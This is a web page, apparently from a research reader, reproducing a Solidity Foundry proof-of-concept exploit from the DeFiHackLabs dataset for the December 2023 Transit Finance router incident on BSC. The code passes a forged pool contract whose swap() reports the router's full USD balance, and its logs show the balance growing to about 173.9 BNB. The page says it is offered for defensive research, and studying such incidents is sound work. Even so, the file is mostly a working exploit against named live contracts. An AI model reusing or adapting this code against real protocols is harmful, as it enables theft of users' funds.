Public reproduction file
src/test/2023-12/TransitFinance_exp.sol
Public reproduction file for dataset entry TransitFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7/*8 Attack tx: https://explorer.phalcon.xyz/tx/bsc/0x93ae5f0a121d5e1aadae052c36bc5ecf2d406d35222f4c6a5d63fef1d6de10819 Tweet alert: https://twitter.com/Phalcon_xyz/status/173735515277903057011 [PASS] testExploit() (gas: 226246)12 Logs:13 Balance BNB before attack: 0.00000000000000000114 Balance USD of router: 43841.86795901608919018315 Balance BNB after attack: 173.90718647733874577616*/18struct ExactInputV3SwapParams {19 address srcToken;20 address dstToken;21 address dstReceiver;22 address wrappedToken;23 uint256 amount;24 uint256 minReturnAmount;25 uint256 fee;26 uint256 deadline;27 uint256[] pools;28 bytes signature;29 string channel;30}32contract ContractTest is Test {33 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);35 address router = 0x00000047bB99ea4D791bb749D970DE71EE0b1A34;37 address pool_usd_wbnb = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;39 address usd = 0x55d398326f99059fF775485246999027B3197955;41 address wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;43 address bnb = address(0);45 function setUp() external {46 cheats.createSelectFork("bsc", 34_506_417 - 1);47 deal(address(this), 1);48 }50 function testExploit() public {51 emit log_named_decimal_uint("Balance BNB before attack", address(this).balance, 18);52 emit log_named_decimal_uint("Balance USD of router", IERC20(usd).balanceOf(router), 18);53 uint256[] memory pools = new uint256[](2);54 pools[0] = uint256(uint160(address(this)));55 pools[1] = 452_312_848_583_266_388_373_324_160_500_822_705_807_063_255_235_247_521_466_952_638_073_588_228_176;56 ExactInputV3SwapParams memory params = ExactInputV3SwapParams({57 srcToken: bnb,58 dstToken: bnb,59 dstReceiver: address(this),60 wrappedToken: wbnb,61 amount: 1,62 minReturnAmount: 0,63 fee: 0,64 deadline: block.timestamp,65 pools: pools,66 signature: bytes(""),67 channel: ""68 });69 ITransitRouter(router).exactInputV3Swap{value: 1}(params);70 emit log_named_decimal_uint("Balance BNB after attack", address(this).balance, 18);71 }73 function token0() external view returns (address) {74 return wbnb;75 }77 function token1() external view returns (address) {78 return usd;79 }81 function fee() external pure returns (uint24) {82 return 0;83 }85 function swap(86 address recipient,87 bool zeroForOne,88 int256 amountSpecified,89 uint160 sqrtPriceLimitX96,90 bytes calldata data91 ) external returns (int256 amount0, int256 amount1) {92 return (-int256(IERC20(usd).balanceOf(router)), -int256(IERC20(usd).balanceOf(router)));93 }95 receive() external payable {}96}98interface ITransitRouter {99 function transitFee() external view returns (uint256, uint256);100 function exactInputV3Swap(101 ExactInputV3SwapParams calldata params102 ) external payable returns (uint256 returnAmount);103}105interface IUniswapV3Pool {106 function token0() external view returns (address);107 function token1() external view returns (address);108 function fee() external view returns (uint24);109 function swap(110 address recipient,111 bool zeroForOne,112 int256 amountSpecified,113 uint160 sqrtPriceLimitX96,114 bytes calldata data115 ) external returns (int256 amount0, int256 amount1);116}Analysis
Dataset entry
Public Foundry test for “TransitFinance” (2023-12-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
File record
- Name
- TransitFinance
- Path
- src/test/2023-12/TransitFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 46139668fda2dbaba2424a7f0874103eced95a5d
- Language
- Solidity
- Size
- 117 lines
- Date
- 2023-12-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/TransitFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 46139668fda2dbaba2424a7f0874103eced95a5d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.